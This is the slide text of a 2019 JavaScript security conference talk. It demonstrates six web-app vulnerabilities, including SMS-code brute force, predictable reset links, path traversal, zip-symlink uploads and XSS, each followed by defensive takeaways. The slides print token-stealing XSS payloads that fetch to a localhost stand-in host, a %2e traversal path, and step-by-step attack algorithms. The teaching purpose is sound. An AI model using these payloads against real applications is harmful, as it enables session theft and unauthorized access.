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JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение



Это будет 6 живых демо взлома. Идея не обсудить сухую теория, а увидеть на практике, как не всегда очевидные ошибки являются источником серьезных уязвимостей в твоем JavScript приложении.

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JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение

  1. 1. 6 ways to hack you JavaScript application Viktor Turskyi CEO at WebbyLab JS FEST 2019
  2. 2. Viktor Turskyi ● CEO at WebbyLab ● 15 years in software development
  3. 3. Why I talk about security? 1. I switched to software development from IT security 2. I work with software engineers for many years and this topic is highly undercovered 3. I work with different businesses for many years and risks are highly underestimated 4. Governmental regulations (GDPR, PCI DSS etc) 5. It makes you a better software engineer 6. It is FUN!!
  4. 4. What I will talk about? 1. Not about OWASP (Open Web Application Security Project) Top 10 report 2. Not about security tools (metasploit, sqlmap etc) 3. Not about content security policy. 4. Only practical cases that we’ve met in real life. 5. JavaScript based demos 6. Real cases simulated in environment a. React frontend b. NodeJs backend c. Set of exploits
  5. 5. Overview of the existing application
  6. 6. Let’s play a game 1. I show you a piece of application code with vulnerability. 2. Who sees the vulnerability? 3. I run exploit 4. You guess the exploits algorithm 5. I go through exploit in details
  7. 7. Case 1: Password recovery by SMS
  8. 8. Case 1: Description To improve security a company decided to use SMS for password recovery. User enters own email and receives on phone code like: 7483
  9. 9. Run exploit
  10. 10. How does the exploit work?
  11. 11. Case 1: Takeaways Think about bruteforce. Reset codes: SMS codes CAPTCHA Codes
  12. 12. Case 2: Email password recovery
  13. 13. /reset-password?actionId=5c6a84d97955741020400f3f
  14. 14. Run exploit
  15. 15. How does the exploit work?
  16. 16. Algorithm 1. Prepare payloads for any object creation and password restore link generation. 2. Send them simultaneously. 3. Use got ObjectId of newly created object as base 4. Increment counters (at first) and timestamp (it is in seconds,+-1 is enough in most cases) 5. Use the new object id for password recovery
  17. 17. Mongo <= v3.2 Mongo >= v3.4
  18. 18. Case 2: Takeaways Mongo ID predictable (on all version of mongo) UUID v1 predictable (unique, but not random) UUID v4 unpredictable Always think about predictability of URLs (keys, etc)
  19. 19. Case 3: File paths
  20. 20. Run exploit
  21. 21. How does the exploit work?
  22. 22. Let’s look step by step
  23. 23. A lot of frameworks had this vulnerability ACSII: CHAR “.” = DEC 46 = HEX 2E = %2E (in URL) /static/../etc/config.json /static/%2e%2e/etc/config.json Main reason: validate, then escape (should be escape, then validate)
  24. 24. Algorithm 1. Prepare path where do you expect to have sensitive data (configs). 2. Replace dots in relative paths with “%2e” 3. Get configs with JWT keys 4. Create own session for any user
  25. 25. Very popular modules can be vulnerable (11k weekly downloads) Use npm audit (NODEJS DEVS ARE LUCKY TO HAVE IT) Check your dependencies Security is a question of trust apt update JWT vulnerability example (next slides) Case 3: Takeaways
  26. 26. JWT vulnerability example
  27. 27. RFC 7119 JSON Web Token (JWT)
  28. 28. Case 4: Photos upload
  29. 29. Run exploit
  30. 30. How does the exploit work?
  31. 31. Algorithm 1. Prepare zip archive and pack symlink which references server configuration. 2. Upload zip archive to server 3. Download the uploaded file (which is symlink in real). It will return server config 4. Create own session using a key from the config
  32. 32. decompress
  33. 33. Case 4: Takeaways Thinks about edge cases Just know how system works Zip-Slip (next slides)
  34. 34. Zip-Slip
  35. 35. Case 5: Tweet creation
  36. 36. Run exploit
  37. 37. How does the exploit work?
  38. 38. Tweet text: '<span>Hello world2</span> <img style="display:none" src="WRONG" onerror="fetch('http://localhost:5000?token='+localStorage.getItem('token'))" />'
  39. 39. Case 5: Takeaways IF YOU SEE WYSIWYG, CHECK YOUR CODE FOR XSS Do not use regex for extracting script tags Use sanitizer with tags and attrs white-listing CORS will allow you do cross domain request XSS worms issues
  40. 40. Case 6: The most popular vulnerability in ReactJs boilerplates
  41. 41. Run exploit
  42. 42. How does the exploit work?
  43. 43. </script><script>fetch('http://localhost:5000?token=' + localStorage.getItem('google_experiment_mod'))</script><script>
  44. 44. Case 6: Takeaways Know HTML page parsing (inline JS not the same as external JS) Think about data usage context Use “serialize-javascript”: serializeJs(initialState, { isJSON: true }) instead of JSON.stringify(initialState)
  45. 45. Case 7: Network risks
  46. 46. Case 7: Takeaways Think about communication Get the whole picture Use HTTPS everywhere
  47. 47. Case 8..14: Case 8: Clickjacking Case 9: Tabnapping Case 10: CSRF (cookie, basic auth) Case 11: SQL Injection (pass through ORM) Case 12: ORM Injection Case 13: Unsafe HTTPS Redirect Case 14: Target=_blank (without rel="noopener noreferrer")
  48. 48. Do you know how these things work? Heartbleed Shellshock WPA Krack Meltdown and Spectre
  49. 49. Why I like information security? Information security is about understanding how things work It makes you a better developer You can create more complex projects It is fun!
  50. 50. Thank you!
  51. 51. Telegram: @JABASCRIPT
  52. 52. Viktor Turskyi viktor@webbylab.com @koorchik @koorchik https://webbylab.com